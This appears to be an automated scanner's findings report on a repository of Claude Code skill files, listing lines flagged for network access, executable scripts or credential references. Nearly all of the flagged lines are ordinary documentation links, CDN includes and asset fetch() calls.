- [Raytracing scripting](https://wiki.freecad.org/Raytracing_API_example) - Network accessline 13
- [Svg namespace](https://wiki.freecad.org/Svg_Namespace) - Network accessline 14
- [Python](https://wiki.freecad.org/Python) - Network accessline 15
- [PythonOCC](https://wiki.freecad.org/PythonOCC)
harness/claude-code/skills/frontend-accessibility/references/wcag-2.2-aa.md
- Network accessline 3
Use the normative [WCAG 2.2 Recommendation](https://www.w3.org/TR/WCAG22/) for exact criteria and conformance language. Use the [WAI-ARIA Authoring Practices Guide](https://www.w3.org/WAI/ARIA/apg/) as non-normative design-pattern and keybo
harness/claude-code/skills/frontend-discoverability-assets/references/icon-matrix.md
- Network accessline 15
Use `sizes="any"` only for scalable resources, as defined by the HTML link-type rules: https://html.spec.whatwg.org/multipage/links.html
harness/claude-code/skills/frontend-discoverability-assets/references/social-metadata.md
- Network accessline 16
Source: https://ogp.me/
harness/claude-code/skills/frontend-discoverability-assets/references/technical-seo.md
- Network accessline 23
- https://developers.google.com/search/docs/fundamentals/seo-starter-guide - Network accessline 24
- https://developers.google.com/search/docs/appearance/structured-data/intro-structured-data - Network accessline 25
- https://developers.google.com/search/docs/crawling-indexing/robots/intro - Network accessline 26
- https://developers.google.com/search/docs/crawling-indexing/sitemaps/overview
harness/claude-code/skills/frontend-project-setup/scripts/install_companions.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/skills/frontend-project-setup/tests/test_install_companions.py
- Executable scriptline 1
Executable file
harness/claude-code/skills/frontend-release-quality-gate/scripts/check_traceability.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/skills/frontend-release-quality-gate/tests/test_check_traceability.py
- Executable scriptline 1
Executable file
harness/claude-code/skills/game-engine/assets/2d-maze-game.md
- Network accessline 5
**Source reference:** [MDN - HTML5 Gamedev Phaser Device Orientation](https://developer.mozilla.org/en-US/docs/Games/Tutorials/HTML5_Gamedev_Phaser_Device_Orientation) - Network accessline 6
**Live demo:** [Cyber Orb](https://orb.enclavegames.com/) - Network accessline 7
**Source code:** [GitHub - EnclaveGames/Cyber-Orb](https://github.com/EnclaveGames/Cyber-Orb)
harness/claude-code/skills/game-engine/assets/2d-platform-game.md
- Network accessline 9
**Source:** Based on the [Mozilla HTML5 Games Workshop - Platformer](https://mozdevs.github.io/html5-games-workshop/en/guides/platformer/start-here/). Project starter files available at the workshop repository.
harness/claude-code/skills/game-engine/assets/gameBase-template-repo.md
- Network accessline 5
**Repository:** [github.com/deepnight/gameBase](https://github.com/deepnight/gameBase) - Network accessline 6
**Author:** [Sebastien Benard / deepnight](https://deepnight.net) - Network accessline 8
**Level editor integration:** [LDtk](https://ldtk.io) - Network accessline 228
1. **Install Haxe** (4.0+): [haxe.org](https://haxe.org/download/) - Network accessline 229
2. **Install HashLink** (for desktop target): [hashlink.haxe.org](https://hashlink.haxe.org/) - Network accessline 230
3. **Install LDtk** (for level editing): [ldtk.io](https://ldtk.io/) - Network accessline 235
# Clone the repository git clone https://github.com/deepnight/gameBase.git my-game - Network accessline 236
git clone https://github.com/deepnight/gameBase.git my-game
harness/claude-code/skills/game-engine/assets/paddle-game-template.md
- Network accessline 9
**Source:** Based on the [MDN 2D Breakout Game Tutorial](https://developer.mozilla.org/en-US/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript).
harness/claude-code/skills/game-engine/assets/simple-2d-engine.md
- Network accessline 5
**Source references:** - [Part 1 - Basics](https://deepnight.net/tutorial/a-simple-platformer-engine-part-1-basics/) - Network accessline 6
- [Part 1 - Basics](https://deepnight.net/tutorial/a-simple-platformer-engine-part-1-basics/) - Network accessline 7
- [Part 2 - Collisions](https://deepnight.net/tutorial/a-simple-platformer-engine-part-2-collisions/) - Network accessline 9
**Author:** [Sebastien Benard / deepnight](https://deepnight.net)
harness/claude-code/skills/game-engine/references/3d-web-games.md
- Network accessline 5
Sources: [MDN Web Docs -- Games Techniques: 3D on the web](https://developer.mozilla.org/en-US/docs/Games/Techniques/3D_on_the_web) - Network accessline 99
</head> <body> <script src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r79/three.min.js"></script> - Network accessline 100
<body> <script src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r79/three.min.js"></script> <script> - Network accessline 101
<script src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r79/three.min.js"></script> - Network accessline 197
- Use `Math.abs()` when animating scale with `Math.sin()` to avoid negative scale values. - The render loop uses `requestAnimationFrame` for smooth, browser-optimized frame updates. - Consult [Three.js documentation](https://threejs.org/doc - Network accessline 199
- Consult [Three.js documentation](https://threejs.org/docs/) for the full API. - Network accessline 210
<script src="https://cdn.babylonjs.com/v7.34.1/babylon.js"></script> - Network accessline 275
- `BABYLON.Vector3` and `BABYLON.Color3` are used extensively for positioning and coloring. - Babylon.js includes a built-in math library for vectors, colors, and matrices. - Consult [Babylon.js documentation](https://doc.babylonjs.com/) fo - Network accessline 277
- Consult [Babylon.js documentation](https://doc.babylonjs.com/) for advanced features like physics, particles, and post-processing. - Network accessline 291
<meta charset="utf-8" /> <title>A-Frame Demo</title> <script src="https://aframe.io/releases/1.6.0/aframe.min.js"></script> - Network accessline 292
<title>A-Frame Demo</title> <script src="https://aframe.io/releases/1.6.0/aframe.min.js"></script> <style> - Network accessline 293
<script src="https://aframe.io/releases/1.6.0/aframe.min.js"></script> - Network accessline 394
- Entity-component system architecture - Built-in physics engine powered by [ammo.js](https://github.com/kripken/ammo.js/) - Network accessline 395
- Built-in physics engine powered by [ammo.js](https://github.com/kripken/ammo.js/) - Network accessline 403
- PlayCanvas excels for team-based game development thanks to its online editor with real-time collaboration. - The engine-only approach is lightweight and can be embedded in any web page. - Consult the [PlayCanvas developer documentation]( - Network accessline 405
- Consult the [PlayCanvas developer documentation](https://developer.playcanvas.com/) for tutorials on entities, components, cameras, lights, materials, and animations. - Network accessline 497
- Shaders run on the GPU and offload computation from the CPU, which is critical for real-time performance. - Three.js, Babylon.js, and other frameworks abstract much of the shader setup; pure WebGL requires significantly more boilerplate. - Network accessline 498
- Three.js, Babylon.js, and other frameworks abstract much of the shader setup; pure WebGL requires significantly more boilerplate. - [ShaderToy](https://www.shadertoy.com/) is an excellent resource for shader examples and inspiration. - GL - Network accessline 499
- [ShaderToy](https://www.shadertoy.com/) is an excellent resource for shader examples and inspiration. - Network accessline 732
- **A-Frame** -- built-in VR mode button; declarative HTML-based scenes automatically work in VR. - **Three.js** -- provides WebXR integration via `renderer.xr`. See [Three.js VR documentation](https://threejs.org/docs/#manual/en/introducti - Network accessline 733
- **Three.js** -- provides WebXR integration via `renderer.xr`. See [Three.js VR documentation](https://threejs.org/docs/#manual/en/introduction/How-to-create-VR-content). - Network accessline 752
- Always test on real headsets; the experience is vastly different from desktop preview. - Maintain a stable, high frame rate (72-90+ FPS) to prevent motion sickness. - Consult [MDN WebXR Device API](https://developer.mozilla.org/en-US/docs - Network accessline 754
- Consult [MDN WebXR Device API](https://developer.mozilla.org/en-US/docs/Web/API/WebXR_Device_API) for the full API reference.
harness/claude-code/skills/game-engine/references/algorithms.md
- Network accessline 10
> Source: https://deepnight.net/tutorial/bresenham-magic-raycasting-line-of-sight-pathfinding/ - Network accessline 118
> Source: https://medium.com/@erikkubiak/dev-log-1-custom-engine-writing-my-collision-system-2a97856f9a93 - Network accessline 243
> Source: https://www.gamedev.net/tutorials/programming/math-and-physics/a-quick-lesson-in-velocity-and-speed-r6109/ - Network accessline 354
> Source: https://winter.dev/articles/physics-engine - Network accessline 551
> Source: https://www.gamedev.net/tutorials/programming/math-and-physics/vector-maths-for-game-dev-beginners-r5442/
harness/claude-code/skills/game-engine/references/basics.md
harness/claude-code/skills/game-engine/references/game-control-mechanisms.md
- Network accessline 507
<script src="https://unpkg.com/leapjs@0.6.4/leap-0.6.4.min.js"></script>
harness/claude-code/skills/game-engine/references/game-engine-core-principles.md
- Network accessline 5
Source: https://www.gamedev.net/articles/programming/general-and-gameplay-programming/making-a-game-engine-core-design-principles-r3210/ - Network accessline 555
class WebFileSystem extends FileSystem { async readFile(path) { const response = await fetch(path); - Network accessline 556
async readFile(path) { const response = await fetch(path); return response.arrayBuffer(); - Network accessline 557
const response = await fetch(path);
harness/claude-code/skills/game-engine/references/techniques.md
- Network accessline 9
**Source:** [MDN - Async Scripts for asm.js](https://developer.mozilla.org/en-US/docs/Games/Techniques/Async_scripts) - Network accessline 67
**Source:** [MDN - Optimizing Startup Performance](https://developer.mozilla.org/en-US/docs/Web/Performance/Guides/Optimizing_startup_performance) - Network accessline 143
**Source:** [MDN - WebRTC Data Channels](https://developer.mozilla.org/en-US/docs/Games/Techniques/WebRTC_data_channels) - Network accessline 178
- The WebRTC API is primarily known for audio and video communication but includes robust peer-to-peer data channel capabilities. - Libraries are recommended to simplify implementation and work around browser differences. - Full WebRTC docu - Network accessline 180
- Full WebRTC documentation is available at [MDN WebRTC API](https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API). - Network accessline 186
**Source:** [MDN - Audio for Web Games](https://developer.mozilla.org/en-US/docs/Games/Techniques/Audio_for_Web_Games) - Network accessline 271
async function getFile(filepath) { const response = await fetch(filepath); - Network accessline 272
const response = await fetch(filepath); - Network accessline 355
**Source:** [MDN - 2D Collision Detection](https://developer.mozilla.org/en-US/docs/Games/Techniques/2D_collision_detection) - Network accessline 526
**Source:** [MDN - Tilemaps](https://developer.mozilla.org/en-US/docs/Games/Techniques/Tilemaps) - Network accessline 618
**Source:** [MDN - Controls Gamepad API](https://developer.mozilla.org/en-US/docs/Games/Techniques/Controls_Gamepad_API) - Network accessline 801
**Source:** [MDN - Crisp Pixel Art Look](https://developer.mozilla.org/en-US/docs/Games/Techniques/Crisp_pixel_art_look)
harness/claude-code/skills/game-engine/references/terminology.md
- Network accessline 5
Source: https://www.gameindustrycareerguide.com/video-game-development-terms-glossary/
harness/claude-code/skills/game-engine/references/web-apis.md
- Network accessline 595
<!-- A simple SVG health bar --> <svg width="220" height="30" xmlns="http://www.w3.org/2000/svg"> - Network accessline 596
<svg width="220" height="30" xmlns="http://www.w3.org/2000/svg"> - Network accessline 757
// Load and play a sound effect async function playSFX(url) { const response = await fetch(url); - Network accessline 758
async function playSFX(url) { const response = await fetch(url); const arrayBuffer = await response.arrayBuffer(); - Network accessline 759
const response = await fetch(url); - Network accessline 1219
- **Parallel asset processing**: Decode images, decompress data, or parse level files without blocking rendering. - **OffscreenCanvas**: Render to a canvas from within a worker, enabling parallel rendering pipelines. - **Non-blocking networ - Network accessline 1221
- **Non-blocking networking**: Perform `fetch()` or XHR calls in a worker to keep the game loop smooth. - Network accessline 1394
For new projects, the **Fetch API** (`fetch()`) is generally preferred over XHR. It provides a cleaner promise-based interface, supports streaming via `ReadableStream`, and integrates well with async/await. However, XHR remains relevant whe
harness/claude-code/skills/gdpr-compliant/references/Security.md
harness/claude-code/skills/generate-image/SKILL.md
- Network accessline 54
| Provider | Model | Best for | Key URL | | --- | --- | --- | --- | | OpenAI | `gpt-image-2` | High quality, polished visuals, stronger text rendering, paid image generation. | https://platform.openai.com/api-keys | - Network accessline 55
| --- | --- | --- | --- | | OpenAI | `gpt-image-2` | High quality, polished visuals, stronger text rendering, paid image generation. | https://platform.openai.com/api-keys | | Google Gemini | Nano Banana / Gemini image models | Fast iterati - Network accessline 56
| OpenAI | `gpt-image-2` | High quality, polished visuals, stronger text rendering, paid image generation. | https://platform.openai.com/api-keys | - Network accessline 57
| Google Gemini | Nano Banana / Gemini image models | Fast iteration, free tier availability, visual drafts and variations. | https://aistudio.google.com/apikey | - Access to secretsline 59
[Credential-related source omitted] - Network accessline 64
| --- | --- | | Method | `POST` | | URL | `https://api.openai.com/v1/images/generations` | - Network accessline 65
[Credential-related source omitted] - Network accessline 66
| URL | `https://api.openai.com/v1/images/generations` | - Network accessline 90
| --- | --- | | Method | `POST` | | URL shape | `https://ai.google.dev/gemini-api/docs/models<model>:generateContent` | - Network accessline 91
[Credential-related source omitted] - Network accessline 92
| URL shape | `https://ai.google.dev/gemini-api/docs/models<model>:generateContent` | - Network accessline 173
- [OpenAI API keys](https://platform.openai.com/api-keys) - Network accessline 174
- [Google AI Studio API keys](https://aistudio.google.com/apikey)
harness/claude-code/skills/geofeed-tuner/references/extended-guide.md
harness/claude-code/skills/geofeed-tuner/references/rfc8805.txt
- Network accessline 49
Information about the current status of this document, any errata, and how to provide feedback on it may be obtained at https://www.rfc-editor.org/info/rfc8805. - Network accessline 51
https://www.rfc-editor.org/info/rfc8805. - Network accessline 58
This document is subject to BCP 78 and the IETF Trust's Legal Provisions Relating to IETF Documents (https://trustee.ietf.org/license-info) in effect on the date of - Network accessline 59
Provisions Relating to IETF Documents (https://trustee.ietf.org/license-info) in effect on the date of publication of this document. Please review these documents - Network accessline 60
(https://trustee.ietf.org/license-info) in effect on the date of - Network accessline 565
[ISO.3166.1alpha2] ISO, "ISO 3166-1 decoding table", <http://www.iso.org/iso/home/standards/country_codes/iso- - Network accessline 566
ISO, "ISO 3166-1 decoding table", <http://www.iso.org/iso/home/standards/country_codes/iso- 3166-1_decoding_table.htm>. - Network accessline 567
<http://www.iso.org/iso/home/standards/country_codes/iso- - Network accessline 570
[ISO.3166.2] ISO, "ISO 3166-2:2007", <http://www.iso.org/iso/home/standards/ - Network accessline 571
ISO, "ISO 3166-2:2007", <http://www.iso.org/iso/home/standards/ country_codes.htm#2012_iso3166-2>. - Network accessline 572
<http://www.iso.org/iso/home/standards/ - Network accessline 576
Requirement Levels", BCP 14, RFC 2119, DOI 10.17487/RFC2119, March 1997, <https://www.rfc-editor.org/info/rfc2119>. - Network accessline 578
<https://www.rfc-editor.org/info/rfc2119>. - Network accessline 580
[RFC3629] Yergeau, F., "UTF-8, a transformation format of ISO 10646", STD 63, RFC 3629, DOI 10.17487/RFC3629, November 2003, <https://www.rfc-editor.org/info/rfc3629>. - Network accessline 582
2003, <https://www.rfc-editor.org/info/rfc3629>. - Network accessline 585
Separated Values (CSV) Files", RFC 4180, DOI 10.17487/RFC4180, October 2005, <https://www.rfc-editor.org/info/rfc4180>. - Network accessline 587
<https://www.rfc-editor.org/info/rfc4180>. - Network accessline 589
[RFC4291] Hinden, R. and S. Deering, "IP Version 6 Addressing Architecture", RFC 4291, DOI 10.17487/RFC4291, February 2006, <https://www.rfc-editor.org/info/rfc4291>. - Network accessline 591
2006, <https://www.rfc-editor.org/info/rfc4291>. - Network accessline 594
(CIDR): The Internet Address Assignment and Aggregation Plan", BCP 122, RFC 4632, DOI 10.17487/RFC4632, August 2006, <https://www.rfc-editor.org/info/rfc4632>. - Network accessline 596
2006, <https://www.rfc-editor.org/info/rfc4632>. - Network accessline 599
Address Text Representation", RFC 5952, DOI 10.17487/RFC5952, August 2010, <https://www.rfc-editor.org/info/rfc5952>. - Network accessline 601
<https://www.rfc-editor.org/info/rfc5952>. - Network accessline 604
Ed., "Hypertext Transfer Protocol (HTTP/1.1): Caching", RFC 7234, DOI 10.17487/RFC7234, June 2014, <https://www.rfc-editor.org/info/rfc7234>. - Network accessline 606
<https://www.rfc-editor.org/info/rfc7234>. - Network accessline 608
[RFC8174] Leiba, B., "Ambiguity of Uppercase vs Lowercase in RFC 2119 Key Words", BCP 14, RFC 8174, DOI 10.17487/RFC8174, May 2017, <https://www.rfc-editor.org/info/rfc8174>. - Network accessline 610
May 2017, <https://www.rfc-editor.org/info/rfc8174>. - Network accessline 615
Edition)", World Wide Web Consortium Recommendation REC- xml-20081126, November 2008, <http://www.w3.org/TR/2008/REC-xml-20081126>. - Network accessline 617
<http://www.w3.org/TR/2008/REC-xml-20081126>. - Network accessline 621
[GEOPRIV] IETF, "Geographic Location/Privacy (geopriv)", <http://datatracker.ietf.org/wg/geopriv/>. - Network accessline 622
<http://datatracker.ietf.org/wg/geopriv/>. - Network accessline 624
[GEO_Google] Google, LLC, "Google Corp Geofeed", <https://www.gstatic.com/geofeed/corp_external>. - Network accessline 626
<https://www.gstatic.com/geofeed/corp_external>. - Network accessline 628
[GEO_ICANN] ICANN, "ICANN Meeting Geolocation Data", <https://meeting-services.icann.org/geo/google.csv>. - Network accessline 630
<https://meeting-services.icann.org/geo/google.csv>. - Network accessline 632
[GEO_IETF] Kumari, W., "IETF Meeting Network Geolocation Data", <https://noc.ietf.org/geo/google.csv>. - Network accessline 633
<https://noc.ietf.org/geo/google.csv>. - Network accessline 635
[GEO_RIPE_NCC] Schepers, M., "RIPE NCC Meeting Geolocation Data", <https://meetings.ripe.net/geo/google.csv>. - Network accessline 637
<https://meetings.ripe.net/geo/google.csv>. - Network accessline 640
Shields, M. and P. Moody, "Google's Python IP address manipulation library", <http://code.google.com/p/ipaddr-py/>. - Network accessline 642
<http://code.google.com/p/ipaddr-py/>. - Network accessline 644
[ISO-GLOSSARY] ISO, "Glossary for ISO 3166", <https://www.iso.org/glossary-for-iso-3166.html>. - Network accessline 646
<https://www.iso.org/glossary-for-iso-3166.html>. - Network accessline 648
[RFC2818] Rescorla, E., "HTTP Over TLS", RFC 2818, DOI 10.17487/RFC2818, May 2000, <https://www.rfc-editor.org/info/rfc2818>. - Network accessline 650
<https://www.rfc-editor.org/info/rfc2818>. - Network accessline 652
[RFC3912] Daigle, L., "WHOIS Protocol Specification", RFC 3912, DOI 10.17487/RFC3912, September 2004, <https://www.rfc-editor.org/info/rfc3912>. - Network accessline 654
<https://www.rfc-editor.org/info/rfc3912>. - Network accessline 657
Format for Presence Information Data Format Location Object (PIDF-LO)", RFC 5139, DOI 10.17487/RFC5139, February 2008, <https://www.rfc-editor.org/info/rfc5139>. - Network accessline 659
February 2008, <https://www.rfc-editor.org/info/rfc5139>. - Network accessline 663
A Document Format for Expressing Privacy Preferences for Location Information", RFC 6772, DOI 10.17487/RFC6772, January 2013, <https://www.rfc-editor.org/info/rfc6772>. - Network accessline 665
January 2013, <https://www.rfc-editor.org/info/rfc6772>. - Network accessline 668
Authorizing Use of Domains in Email, Version 1", RFC 7208, DOI 10.17487/RFC7208, April 2014, <https://www.rfc-editor.org/info/rfc7208>. - Network accessline 670
<https://www.rfc-editor.org/info/rfc7208>. - Network accessline 673
Interchange Format", STD 90, RFC 8259, DOI 10.17487/RFC8259, December 2017, <https://www.rfc-editor.org/info/rfc8259>. - Network accessline 675
<https://www.rfc-editor.org/info/rfc8259>.
harness/claude-code/skills/geofeed-tuner/references/snippets-python3.md
- Network accessline 3
- Use Python 3's built-in [`ipaddress` package](https://docs.python.org/3/harness/github-copilot/ipaddress.html), with `strict=True` passed to constructors where available. - Network accessline 9
- Use the [convenience factory functions in `ipaddress`](https://docs.python.org/3/harness/github-copilot/ipaddress.html#convenience-factory-functions). - Network accessline 30
- Use the strict-form parser [`ipaddress.ip_network(address, strict=True)`](https://docs.python.org/3/harness/github-copilot/ipaddress.html#ipaddress.ip_network).
harness/claude-code/skills/geofeed-tuner/scripts/templates/index.html
- Network accessline 5
<meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Geofeed Tuner Report</title> <link href="https://fonts.googleapis.com/css2?family=Raleway:wght@300;400;600;700&display=swap" rel="stylesheet"> - Network accessline 6
<title>Geofeed Tuner Report</title> <link href="https://fonts.googleapis.com/css2?family=Raleway:wght@300;400;600;700&display=swap" rel="stylesheet"> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.0/f - Network accessline 7
<link href="https://fonts.googleapis.com/css2?family=Raleway:wght@300;400;600;700&display=swap" rel="stylesheet"> - Network accessline 8
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.0/font/bootstrap-icons.css"> - Network accessline 9
<link rel="stylesheet" href="https://unpkg.com/leaflet@1.9.4/dist/leaflet.css" /> - Network accessline 10
<script src="https://unpkg.com/leaflet@1.9.4/dist/leaflet.js"></script> - Network accessline 11
<script src="https://unpkg.com/h3-js@4.1.0/dist/h3-js.umd.js"></script> - Network accessline 1111
* @type {string} */ const API_ENDPOINT = 'https://mcp.fastah.ai/rest/geofeeds/place-search'; - Network accessline 1113
const API_ENDPOINT = 'https://mcp.fastah.ai/rest/geofeeds/place-search'; - Network accessline 1128
const batchRows = rows.slice(i * MAX_BATCH_SIZE, (i + 1) * MAX_BATCH_SIZE); try { const response = await fetch(API_ENDPOINT, { - Network accessline 1129
try { const response = await fetch(API_ENDPOINT, { method: 'POST', - Network accessline 1130
const response = await fetch(API_ENDPOINT, { - Network accessline 1411
L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', { - Network accessline 2025
zoom: 2 }); L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', { - Network accessline 2026
}); L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', { attribution: '\u00a9 <a href="https://www.openstreetmap.org/copyright">OpenStreetMap</a> contributors', - Network accessline 2027
L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', { - Network accessline 2028
attribution: '\u00a9 <a href="https://www.openstreetmap.org/copyright">OpenStreetMap</a> contributors',
harness/claude-code/skills/gh-attach/SKILL.md
harness/claude-code/skills/git-commit/SKILL.md
- Broad permissionsline 1
Bash
harness/claude-code/skills/github-copilot-starter/SKILL.md
- Network accessline 39
1. Inspect the repository for stack signals before asking questions. 2. Research `awesome-copilot` examples with web fetch before generating content: - https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md - Network accessline 40
2. Research `awesome-copilot` examples with web fetch before generating content: - https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md - https://github.com/github/awesome-copilot/blob/main/docs/README.agent - Network accessline 41
- https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md - Network accessline 42
- https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md - Network accessline 43
- https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md - Network accessline 44
- https://github.com/github/awesome-copilot/tree/main/instructions - Network accessline 45
- https://github.com/github/awesome-copilot/tree/main/agents - Network accessline 46
- https://github.com/github/awesome-copilot/tree/main/skills - Network accessline 125
<!-- Based on/Inspired by: https://github.com/github/awesome-copilot/blob/main/instructions/{filename}.instructions.md --> - Network accessline 146
<!-- Based on: https://github.com/github/awesome-copilot/blob/main/instructions/nodejs-javascript-vitest.instructions.md --> - Network accessline 147
<!-- Inspired by: https://github.com/github/awesome-copilot/blob/main/instructions/java-junit5-assertions.instructions.md --> - Network accessline 148
<!-- and: https://github.com/github/awesome-copilot/blob/main/instructions/springboot.instructions.md --> - Network accessline 177
<!-- Based on/Inspired by: https://github.com/github/awesome-copilot/blob/main/agents/{filename}.agent.md --> - Network accessline 280
- [awesome-copilot instructions docs](https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md) - Network accessline 281
- [awesome-copilot agents docs](https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md) - Network accessline 282
- [awesome-copilot skills docs](https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md) - Network accessline 283
- [awesome-copilot instructions directory](https://github.com/github/awesome-copilot/tree/main/instructions) - Network accessline 284
- [awesome-copilot agents directory](https://github.com/github/awesome-copilot/tree/main/agents) - Network accessline 285
- [awesome-copilot skills directory](https://github.com/github/awesome-copilot/tree/main/skills)
harness/claude-code/skills/github-issues/references/images.md
- Network accessline 42
 - Access to secretsline 45
[Credential-related source omitted] - Network accessline 68
1. Open the issue/comment in a browser 2. Drag-drop or paste the image into the comment editor 3. GitHub generates a permanent `https://github.com/user-attachments/assets/{UUID}` URL - Network accessline 69
2. Drag-drop or paste the image into the comment editor 3. GitHub generates a permanent `https://github.com/user-attachments/assets/{UUID}` URL 4. These URLs work for anyone, even without repo access, and render in email notifications - Network accessline 70
3. GitHub generates a permanent `https://github.com/user-attachments/assets/{UUID}` URL - Access to secretsline 73
[Credential-related source omitted]
harness/claude-code/skills/github-release/SKILL.md
- Network accessline 83
7. Update or create `CHANGELOG.md` in Keep a Changelog format using today's `YYYY-MM-DD` date, show the proposed section to the user, then write it. Add or update the comparison link: `https://github.com/OWNER/REPO/compare/vPREV...vNEXT`. - Network accessline 234
- [Keep a Changelog](https://keepachangelog.com/en/1.1.0/) - Network accessline 235
- [GitHub compare URL pattern](https://github.com/OWNER/REPO/compare/vPREV...vNEXT)
harness/claude-code/skills/github-release/references/commit-classification.md
harness/claude-code/skills/github-release/references/semver-rules.md
- Network accessline 3
Reference: https://semver.org/
harness/claude-code/skills/gitmoji/SKILL.md
- Network accessline 2
name: gitmoji description: >- Generate commit messages that follow the gitmoji convention (https://gitmoji.dev) by choosing - Network accessline 3
description: >- Generate commit messages that follow the gitmoji convention (https://gitmoji.dev) by choosing the single best emoji or shortcode for a diff, staged change, or plain-language change - Network accessline 4
Generate commit messages that follow the gitmoji convention (https://gitmoji.dev) by choosing - Network accessline 16
Generate a copyable commit message in the https://gitmoji.dev/ convention: infer the dominant change intent, select exactly one gitmoji, match unicode versus shortcode style, and write an imperative subject plus optional body. - Network accessline 98
- Do not run `git commit` or any other mutating git command. - If the project follows plain Conventional Commits from https://www.conventionalcommits.org/ without emojis, use the `git-commit` skill instead. - Network accessline 99
- If the project follows plain Conventional Commits from https://www.conventionalcommits.org/ without emojis, use the `git-commit` skill instead. - Network accessline 147
- [gitmoji](https://gitmoji.dev) - Network accessline 148
- [gitmoji with trailing slash](https://gitmoji.dev/) - Network accessline 149
- [Conventional Commits](https://www.conventionalcommits.org/)
harness/claude-code/skills/gitmoji/references/gitmoji-reference.md
- Network accessline 3
The complete official gitmoji list from [gitmoji.dev](https://gitmoji.dev/), in the order shown on the site. Each entry maps an emoji (and its `:shortcode:`) to the intent of the change it represents. - Network accessline 83
> Source: [gitmojis.json](https://github.com/carloscuesta/gitmoji/blob/master/packages/gitmojis/src/gitmojis.json) — 75 gitmojis.
harness/claude-code/skills/gsap-framer-scroll-animation/SKILL.md
- Network accessline 9
metadata: author: Utkarsh Patrikar author_url: "https://github.com/utkarsh232005" - Network accessline 10
author: Utkarsh Patrikar author_url: "https://github.com/utkarsh232005" --- - Network accessline 11
author_url: "https://github.com/utkarsh232005" - Network accessline 182
- [Author profile](https://github.com/utkarsh232005)
harness/claude-code/skills/gsap-framer-scroll-animation/references/gsap.md
harness/claude-code/skills/gtm-0-to-1-launch/SKILL.md
- Network accessline 9
license: MIT metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 10
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 11
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 12
source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 175
- [Technical product GTM source](https://github.com/beingsmit/technical-product-gtm) - Network accessline 176
- [Smit Patel](https://linkedin.com/in/smitkpatel)
harness/claude-code/skills/gtm-ai-gtm/SKILL.md
- Network accessline 8
license: MIT metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 9
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 10
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 11
source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 156
- [technical-product-gtm source](https://github.com/beingsmit/technical-product-gtm) - Network accessline 157
- [Smit Patel](https://linkedin.com/in/smitkpatel)
harness/claude-code/skills/gtm-board-and-investor-communication/SKILL.md
- Network accessline 8
license: MIT metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 9
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 10
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 11
source: "https://github.com/beingsmit/technical-product-gtm" - Dangerous shell operationline 386
Exec (weekly) → Leadership (bi-weekly) → All-hands (monthly) → Team (ongoing) - Network accessline 432
- [ ] Follow-up owners and dates are explicit. ## References - [Smit Patel](https://linkedin.com/in/smitkpatel) - Network accessline 433
## References - [Smit Patel](https://linkedin.com/in/smitkpatel) - [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm) - Network accessline 434
- [Smit Patel](https://linkedin.com/in/smitkpatel) - Network accessline 435
- [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm)
harness/claude-code/skills/gtm-developer-ecosystem/SKILL.md
- Network accessline 7
license: MIT metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 8
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 9
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 10
source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 356
- [Smit Patel](https://linkedin.com/in/smitkpatel) - Network accessline 357
- [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm)
harness/claude-code/skills/gtm-enterprise-account-planning/SKILL.md
- Network accessline 8
license: MIT metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 9
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 10
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 11
source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 246
- [technical-product-gtm source](https://github.com/beingsmit/technical-product-gtm) - Network accessline 247
- [Smit Patel](https://linkedin.com/in/smitkpatel)
harness/claude-code/skills/gtm-enterprise-onboarding/SKILL.md
- Network accessline 7
license: MIT metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 8
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 9
